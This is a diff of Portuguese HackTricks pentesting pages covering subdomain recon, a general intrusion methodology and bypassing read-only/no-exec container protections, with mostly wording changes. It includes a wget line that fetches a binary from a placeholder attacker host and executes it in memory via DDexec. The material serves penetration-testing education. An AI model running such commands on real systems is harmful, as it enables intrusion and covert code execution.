 Após encontrar subdomínios usando fontes abertas e força bruta, você pode gerar alterações nos subdomínios encontrados para tentar encontrar ainda mais. Várias ferramentas são úteis para esse propósito:

@ -403,7 +405,7 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
 ```
 altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
 ```
-* [**dmut**](https://github.com/bp0lr/dmut): Outra ferramenta para realizar permutações, mutações e alterações de subdomínios. Esta ferramenta fará força bruta no resultado (não suporta curinga dns).
+* [**dmut**](https://github.com/bp0lr/dmut): Outra ferramenta para realizar permutações, mutações e alterações de subdomínios. Esta ferramenta irá forçar bruta o resultado (não suporta curinga dns).
 * Você pode obter a lista de palavras de permutações do dmut [**aqui**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
 ```bash
 cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
@ -425,7 +427,7 @@ echo www | subzuf facebook.com
 ```
 ### **Fluxo de Descoberta de Subdomínio**

-Confira este post no blog que escrevi sobre como **automatizar a descoberta de subdomínios** de um domínio usando **fluxos de trabalho Trickest** para que eu não precise lançar manualmente um monte de ferramentas no meu computador:
+Confira este post no blog que escrevi sobre como **automatizar a descoberta de subdomínios** de um domínio usando **fluxos de trabalho Trickest** para que eu não precise iniciar manualmente um monte de ferramentas no meu computador:

 {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

@ -459,28 +461,28 @@ VHostScan -t example.com
 Com esta técnica, você pode até mesmo ser capaz de acessar endpoints internos/ocultos.
 {% endhint %}

-### **Força Bruta CORS**
+### **Força Bruta de CORS**

-Às vezes, você encontrará páginas que só retornam o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nestes cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**.
+Às vezes, você encontrará páginas que retornam apenas o cabeçalho _**Access-Control-Allow-Origin**_ quando um domínio/subdomínio válido é definido no cabeçalho _**Origin**_. Nestes cenários, você pode abusar desse comportamento para **descobrir** novos **subdomínios**.
 ```bash
 ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
 ```
 ### **Força Bruta em Buckets**

-Enquanto procura por **subdomínios**, fique atento para ver se está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
+Enquanto procura por **subdomínios**, fique atento para ver se ele está **apontando** para algum tipo de **bucket**, e nesse caso [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
 Além disso, neste ponto, você conhecerá todos os domínios dentro do escopo, tente [**forçar possíveis nomes de buckets e verificar as permissões**](../../network-services-pentesting/pentesting-web/buckets/).

 ### **Monitoramento**

-Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificado** que o [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) faz.
+Você pode **monitorar** se **novos subdomínios** de um domínio são criados monitorando os **Logs de Transparência de Certificados** que o [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py) faz.

 ### **Procurando por vulnerabilidades**

 Verifique possíveis [**apropriações de subdomínio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
 Se o **subdomínio** estiver apontando para algum **bucket S3**, [**verifique as permissões**](../../network-services-pentesting/pentesting-web/buckets/).

-Se encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidade básica** (usando Nessus ou OpenVAS) e uma [**varredura de porta**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
-_Obs: às vezes o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, então não está no escopo, tenha cuidado._
+Se você encontrar algum **subdomínio com um IP diferente** dos que você já encontrou na descoberta de ativos, você deve realizar uma **varredura de vulnerabilidades básica** (usando Nessus ou OpenVAS) e uma [**varredura de portas**](../pentesting-network/#discovering-hosts-from-the-outside) com **nmap/masscan/shodan**. Dependendo dos serviços em execução, você pode encontrar neste livro alguns truques para "atacá-los".\
+_Obs: Às vezes, o subdomínio está hospedado dentro de um IP que não é controlado pelo cliente, portanto, não está no escopo, tenha cuidado._

 ## IPs

@ -507,8 +509,8 @@ Nas etapas anteriores, você provavelmente já realizou alguma **recon dos IPs e

 Por favor, note que isso será **orientado para a descoberta de aplicativos da web**, então você deve **realizar a vulnerabilidade** e a **varredura de portas** também (**se permitido** pelo escopo).

-Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores web** usando [**masscan pode ser encontrado aqui**](../pentesting-network/#http-port-discovery).\
-Outra ferramenta amigável para procurar servidores web é [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Basta passar uma lista de domínios e ele tentará se conectar à porta 80 (http) e 443 (https). Além disso, você pode indicar para tentar outras portas:
+Um **método rápido** para descobrir **portas abertas** relacionadas a **servidores web** usando [**masscan** pode ser encontrado aqui](../pentesting-network/#http-port-discovery).\
+Outra ferramenta amigável para procurar servidores web é [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) e [**httpx**](https://github.com/projectdiscovery/httpx). Você apenas passa uma lista de domínios e ele tentará se conectar à porta 80 (http) e 443 (https). Além disso, você pode indicar para tentar outras portas:
 ```bash
 cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
 cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@ -571,7 +573,7 @@ Vazamentos de credenciais estão relacionados a hacks de empresas onde **informa

 ### Vazamentos do Github

-Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa no github.\
+Credenciais e APIs podem ser vazadas nos **repositórios públicos** da **empresa** ou dos **usuários** que trabalham para essa empresa do github.\
 Você pode usar a **ferramenta** [**Leakos**](https://github.com/carlospolop/Leakos) para **baixar** todos os **repositórios públicos** de uma **organização** e de seus **desenvolvedores** e executar [**gitleaks**](https://github.com/zricethezav/gitleaks) automaticamente sobre eles.

 **Leakos** também pode ser usado para executar **gitleaks** em todos os **textos** fornecidos **URLs passadas** para ele, pois às vezes **páginas da web também contêm segredos**.
@ -612,15 +614,15 @@ Se você descobrir que a empresa tem **código aberto**, você pode **analisá-l
 Também existem serviços gratuitos que permitem que você **escaneie repositórios públicos**, como:

 * [**Snyk**](https://app.snyk.io/)
-## [**Metodologia de Pentesting Web**](../../network-services-pentesting/pentesting-web/)
+## [**Metodologia de Teste de Penetração Web**](../../network-services-pentesting/pentesting-web/)

-A **maioria das vulnerabilidades** encontradas por caçadores de bugs reside dentro de **aplicações web**, então neste ponto eu gostaria de falar sobre uma **metodologia de teste de aplicativos web**, e você pode [**encontrar essa informação aqui**](../../network-services-pentesting/pentesting-web/).
+A **maioria das vulnerabilidades** encontradas por caçadores de bugs estão dentro de **aplicações web**, então neste ponto eu gostaria de falar sobre uma **metodologia de teste de aplicações web**, e você pode [**encontrar essa informação aqui**](../../network-services-pentesting/pentesting-web/).

-Também quero fazer uma menção especial à seção [**Ferramentas de Scanner Automático Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, embora você não deva esperar que elas encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para obter algumas informações web iniciais.**
+Também quero fazer uma menção especial à seção [**Ferramentas de Scanner Automático Web de Código Aberto**](../../network-services-pentesting/pentesting-web/#automatic-scanners), pois, embora não se deva esperar que encontrem vulnerabilidades muito sensíveis, elas são úteis para implementá-las em **fluxos de trabalho para obter algumas informações web iniciais.**

 ## Recapitulação

-> Parabéns! Neste ponto, você já realizou **toda a enumeração básica**. Sim, é básico porque muitas outras enumerações podem ser feitas (veremos mais truques depois).
+> Parabéns! Neste ponto, você já realizou **toda a enumeração básica**. Sim, é básica porque muitas outras enumerações podem ser feitas (veremos mais truques depois).

 Então você já:

@ -632,7 +634,7 @@ Então você já:
 6. Encontrou todos os **servidores web** e tirou um **screenshot** deles (algo estranho que valha uma investigação mais aprofundada?)
 7. Encontrou todos os **ativos potenciais de nuvem pública** pertencentes à empresa.
 8. **E-mails**, **vazamentos de credenciais** e **vazamentos de segredos** que poderiam lhe dar uma **grande vitória muito facilmente**.
-9. **Pentesting em todos os sites que você encontrou**
+9. **Testou de penetração em todos os sites que encontrou**

 ## **Ferramentas Automáticas de Reconhecimento Completo**

@ -647,7 +649,7 @@ Existem várias ferramentas por aí que executarão parte das ações propostas

 * Todos os cursos gratuitos de [**@Jhaddix**](https://twitter.com/Jhaddix) como [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)

-<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

 Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

@ -661,7 +663,7 @@ Outras maneiras de apoiar o HackTricks:

 * Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

--- a/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/generic-methodologies-and-resources/pentesting-methodology.md
@ -1,10 +1,10 @@
-# Pentesting Methodology
+# Metodologia de Pentesting

 <details>

 <summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

-Outras maneiras de apoiar o HackTricks:
+Outras formas de apoiar o HackTricks:

 * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
@ -14,9 +14,9 @@ Outras maneiras de apoiar o HackTricks:

 </details>

-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -45,34 +45,34 @@ Antes de atacar um host, talvez você prefira **roubar algumas credenciais** **d

 ### 3- [Varredura de Portas - Descoberta de Serviços](pentesting-network/#scanning-hosts)

-A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber quais **serviços estão em execução em quais portas**. Vamos ver as [**ferramentas básicas para escanear portas de hosts**](pentesting-network/#scanning-hosts).
+A primeira coisa a fazer ao **procurar vulnerabilidades em um host** é saber quais **serviços estão em execução** em quais portas. Vamos ver as [**ferramentas básicas para escanear portas de hosts**](pentesting-network/#scanning-hosts).

 ### **4-** [Pesquisando exploits de versões de serviços](search-exploits.md)

-Depois de saber quais serviços estão em execução, e talvez sua versão, você deve **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e encontre um exploit para obter um shell...
+Depois de saber quais serviços estão em execução, e talvez suas versões, você precisa **procurar por vulnerabilidades conhecidas**. Talvez você tenha sorte e encontre um exploit para obter um shell...

-### **5-** Pentesting de Serviços
+### **5-** Testando Serviços

-Se não houver nenhum exploit interessante para qualquer serviço em execução, você deve procurar por **configurações incorretas comuns em cada serviço em execução**.
+Se não houver nenhum exploit interessante para nenhum serviço em execução, você deve procurar por **configurações incorretas comuns em cada serviço em execução**.

-**Dentro deste livro, você encontrará um guia para pentestear os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção** _**PENTESTING**_ **(os serviços estão ordenados por suas portas padrão).**
+**Dentro deste livro, você encontrará um guia para pentestear os serviços mais comuns** (e outros que não são tão comuns)**. Por favor, procure no índice à esquerda a seção** _**PENTESTING**_ **(os serviços estão ordenados pelos portas padrão).**

 **Quero fazer uma menção especial à parte de** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **(pois é a mais extensa).**\
 Também, um pequeno guia sobre como [**encontrar vulnerabilidades conhecidas em software**](search-exploits.md) pode ser encontrado aqui.

-**Se o seu serviço não estiver no índice, pesquise no Google** por outros tutoriais e **me avise se quiser que eu adicione.** Se você **não encontrar nada** no Google, realize seu **próprio pentesting às cegas**, você poderia começar por **conectar-se ao serviço, fuzzing e ler as respostas** (se houver).
+**Se o seu serviço não estiver no índice, pesquise no Google** por outros tutoriais e **me avise se quiser que eu adicione.** Se você **não encontrar nada** no Google, realize seu **próprio pentest às cegas**, você pode começar **conectando-se ao serviço, fazendo fuzzing e lendo as respostas** (se houver).

 #### 5.1 Ferramentas Automáticas

-Também existem várias ferramentas que podem realizar **avaliações automáticas de vulnerabilidades**. **Eu recomendaria que você experimentasse** [**Legion**](https://github.com/carlospolop/legion)**, que é a ferramenta que criei e é baseada nas anotações sobre pentesting de serviços que você pode encontrar neste livro.**
+Também existem várias ferramentas que podem realizar **avaliações automáticas de vulnerabilidades**. **Eu recomendaria que você experimentasse** [**Legion**](https://github.com/carlospolop/legion)**, que é a ferramenta que criei e é baseada nas anotações sobre pentestear serviços que você pode encontrar neste livro.**

-#### **5.2 Força Bruta de Serviços**
+#### **5.2 Força Bruta em Serviços**

-Em alguns cenários, um **Ataque de Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma lista de diferentes serviços para força bruta**](brute-force.md)**.**
+Em alguns cenários, um **Ataque de Força Bruta** pode ser útil para **comprometer** um **serviço**. [**Encontre aqui uma CheatSheet de diferentes serviços para força bruta**](brute-force.md)**.**

 ### 6- [Phishing](phishing-methodology/)

-Se neste ponto você não encontrou nenhuma vulnerabilidade interessante, **pode ser necessário tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):
+Se até este ponto você não encontrou nenhuma vulnerabilidade interessante, **pode ser necessário tentar algum phishing** para entrar na rede. Você pode ler minha metodologia de phishing [aqui](phishing-methodology/):

 ### **7-** [**Obtendo Shell**](shells/)

@ -91,7 +91,6 @@ Se você tiver problemas com o shell, você pode encontrar aqui uma pequena **co
 ### **9 -** [**Exfiltração**](exfiltration.md)

 Você provavelmente precisará **extrair alguns dados da vítima** ou até mesmo **introduzir algo** (como scripts de escalonamento de privilégios). **Aqui você tem um** [**post sobre ferramentas comuns que você pode usar com esses propósitos**](exfiltration.md)**.**
-
 ### **10- Escalação de Privilégios**

 #### **10.1- Privilégios Locais**
@ -102,7 +101,7 @@ Você também deve verificar estas páginas sobre como o **Windows funciona**:

 * [**Autenticação, Credenciais, Privilégios de Token e UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
 * Como funciona o [**NTLM**](../windows-hardening/ntlm/) no Windows
-* Como [**roubar credenciais**](https://github.com/carlospolop/hacktricks/blob/pt/generic-methodologies-and-resources/broken-reference/README.md) no Windows
+* Como [**roubar credenciais**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) no Windows
 * Alguns truques sobre [_**Active Directory**_](../windows-hardening/active-directory-methodology/)

 **Não se esqueça de conferir as melhores ferramentas para enumerar caminhos de Escalação de Privilégios locais no Windows e Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
@ -116,21 +115,21 @@ Aqui você pode encontrar uma [**metodologia explicando as ações mais comuns p
 #### **11.1 - Saque**

 Verifique se você pode encontrar mais **senhas** dentro do host ou se você tem **acesso a outras máquinas** com os **privilégios** do seu **usuário**.\
-Encontre aqui diferentes maneiras de [**dump passwords no Windows**](https://github.com/carlospolop/hacktricks/blob/pt/generic-methodologies-and-resources/broken-reference/README.md).
+Encontre aqui diferentes maneiras de [**dump passwords no Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).

 #### 11.2 - Persistência

 **Use 2 ou 3 tipos diferentes de mecanismos de persistência para que você não precise explorar o sistema novamente.**\
 **Aqui você pode encontrar alguns** [**truques de persistência no active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**

-TODO: Completar post de persistência no Windows e Linux
+TODO: Completar post de persistência no Windows & Linux

 ### 12 - Pivoting

 Com as **credenciais coletadas** você pode ter acesso a outras máquinas, ou talvez precise **descobrir e escanear novos hosts** (iniciar a Metodologia de Pentesting novamente) dentro de novas redes onde sua vítima está conectada.\
 Neste caso, o tunelamento pode ser necessário. Aqui você pode encontrar [**um post falando sobre tunelamento**](tunneling-and-port-forwarding.md).\
 Definitivamente, você também deve conferir o post sobre [Metodologia de Pentesting do Active Directory](../windows-hardening/active-directory-methodology/). Lá você encontrará truques legais para se mover lateralmente, escalar privilégios e extrair credenciais.\
-Confira também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser muito útil para pivotar em ambientes Windows.
+Confira também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser muito útil para pivotar em ambientes Windows..

 ### MAIS

@ -138,9 +137,9 @@ Confira também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser

 #### **Explorando**

-* [**Exploração Básica do Linux**](../reversing-and-exploiting/linux-exploiting-basic-esp/)
-* [**Exploração Básica do Windows**](../reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
-* [**Ferramentas básicas de exploração**](../reversing-and-exploiting/tools/)
+* [**Exploração Básica do Linux**](../binary-exploitation/linux-exploiting-basic-esp.md)
+* [**Exploração Básica do Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
+* [**Ferramentas básicas de exploração**](../binary-exploitation/basic-binary-exploitation-methodology/tools/)

 #### [**Python Básico**](python/)

@ -150,9 +149,9 @@ Confira também a página sobre [**NTLM**](../windows-hardening/ntlm/), pode ser
 * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
 * [**Oracle de Preenchimento**](../crypto-and-stego/padding-oracle-priv.md)

-<figure><img src="https://github.com/carlospolop/hacktricks/blob/pt/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -165,7 +164,7 @@ Outras maneiras de apoiar o HackTricks:
 * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).

 </details>
--- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
+++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md
@ -1,4 +1,4 @@
-# Bypass FS protections: read-only / no-exec / Distroless
+# Bypassar proteções do sistema de arquivos: somente leitura / sem execução / Distroless

 <details>

@ -14,9 +14,9 @@ Outras maneiras de apoiar o HackTricks:

 </details>

-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
+Se você está interessado em **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -29,7 +29,7 @@ Nos seguintes vídeos, você pode encontrar as técnicas mencionadas nesta pági

 ## Cenário de somente leitura / sem execução

-É cada vez mais comum encontrar máquinas Linux montadas com a proteção de sistema de arquivos em **somente leitura (ro)**, especialmente em contêineres. Isso ocorre porque executar um contêiner com sistema de arquivos ro é tão fácil quanto definir **`readOnlyRootFilesystem: true`** no `securitycontext`:
+É cada vez mais comum encontrar máquinas Linux montadas com **proteção de sistema de arquivos somente leitura (ro)**, especialmente em contêineres. Isso ocorre porque executar um contêiner com sistema de arquivos ro é tão fácil quanto definir **`readOnlyRootFilesystem: true`** no `securitycontext`:

 <pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
 kind: Pod
@ -52,7 +52,7 @@ Do ponto de vista de uma equipe vermelha, isso torna **complicado baixar e execu

 ## Bypass mais fácil: Scripts

-Observe que mencionei binários, você pode **executar qualquer script** desde que o interpretador esteja dentro da máquina, como um **script de shell** se `sh` estiver presente ou um **script python** se `python` estiver instalado.
+Observe que mencionei binários, você pode **executar qualquer script** desde que o interpretador esteja dentro da máquina, como um **script shell** se `sh` estiver presente ou um **script python** se `python` estiver instalado.

 No entanto, isso não é suficiente para executar seu backdoor binário ou outras ferramentas binárias que você possa precisar executar.

@ -69,7 +69,7 @@ Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://
 {% hint style="warning" %}
 Isso não funciona em outras linguagens de script como PHP ou Node porque eles não têm nenhuma maneira **padrão de chamar chamadas de sistema** brutos de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário.

-Além disso, criar um **fd regular** com um arquivo em `/dev/shm` não funcionará, pois você não terá permissão para executá-lo porque a **proteção no-exec** será aplicada.
+Além disso, criar um **fd regular** com um arquivo em `/dev/shm` não funcionará, pois você não poderá executá-lo devido à **proteção no-exec** que será aplicada.
 {% endhint %}

 ### DDexec / EverythingExec
@ -81,21 +81,19 @@ Portanto, **controlando o código de montagem** que está sendo executado pelo p
 {% hint style="success" %}
 **DDexec / EverythingExec** permitirá que você carregue e **execute** seu próprio **shellcode** ou **qualquer binário** da **memória**.
 {% endhint %}
-
 ```bash
 # Basic example
 wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
 ```
-
 ### MemExec

-[**Memexec**](https://github.com/arget13/memexec) é o próximo passo natural do DDexec. É um **shellcode demonizado do DDexec**, então toda vez que você quiser **executar um binário diferente** não precisa reiniciar o DDexec, você pode simplesmente executar o shellcode memexec via a técnica DDexec e então **comunicar-se com esse daemon para passar novos binários para carregar e executar**.
+[**Memexec**](https://github.com/arget13/memexec) é o próximo passo natural do DDexec. É um **shellcode demonizado do DDexec**, então toda vez que você quiser **executar um binário diferente**, não precisa reiniciar o DDexec, você pode simplesmente executar o shellcode memexec via a técnica DDexec e então **comunicar-se com esse daemon para passar novos binários para carregar e executar**.

-Você pode encontrar um exemplo de como usar **memexec para executar binários a partir de um shell reverso PHP** em [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).
+Você pode encontrar um exemplo de como usar o **memexec para executar binários a partir de um shell reverso PHP** em [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php).

 ### Memdlopen

-Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite uma **forma mais fácil de carregar binários** na memória para posteriormente executá-los. Isso poderia até permitir carregar binários com dependências.
+Com um propósito semelhante ao DDexec, a técnica [**memdlopen**](https://github.com/arget13/memdlopen) permite uma **maneira mais fácil de carregar binários** na memória para posteriormente executá-los. Isso poderia até permitir carregar binários com dependências.

 ## Bypass do Distroless

@ -110,7 +108,7 @@ O objetivo dos contêineres distroless é **reduzir a superfície de ataque dos
 Em um contêiner distroless, você pode **nem mesmo encontrar `sh` ou `bash`** para obter um shell regular. Você também não encontrará binários como `ls`, `whoami`, `id`... tudo o que você costuma executar em um sistema.

 {% hint style="warning" %}
-Portanto, você **não** será capaz de obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
+Portanto, você **não** poderá obter um **shell reverso** ou **enumerar** o sistema como costuma fazer.
 {% endhint %}

 No entanto, se o contêiner comprometido estiver executando, por exemplo, um aplicativo web flask, então o Python está instalado e, portanto, você pode obter um **shell reverso em Python**. Se estiver executando node, você pode obter um shell reverso em Node, e o mesmo com a maioria das **linguagens de script**.
@ -127,9 +125,9 @@ No entanto, nesse tipo de contêineres, essas proteções geralmente existirão,

 Você pode encontrar **exemplos** de como **explorar algumas vulnerabilidades de RCE** para obter **shells reversos de linguagens de script** e executar binários da memória em [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).

-<figure><img src="https://github.com/carlospolop/hacktricks/blob/pt/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

-Se você está interessado em uma **carreira de hacking** e hackear o inhackeável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em uma **carreira em hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).

 {% embed url="https://www.stmcyber.com/careers" %}

@ -139,7 +137,7 @@ Se você está interessado em uma **carreira de hacking** e hackear o inhackeáv

 Outras maneiras de apoiar o HackTricks:

-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
 * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
 * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
 * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-pid-reuse.md
@ -1,22 +1,22 @@
-# macOS PID Reuse
+# Reutilização de PID no macOS

 <details>

-<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
+<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

 Outras formas de apoiar o HackTricks:

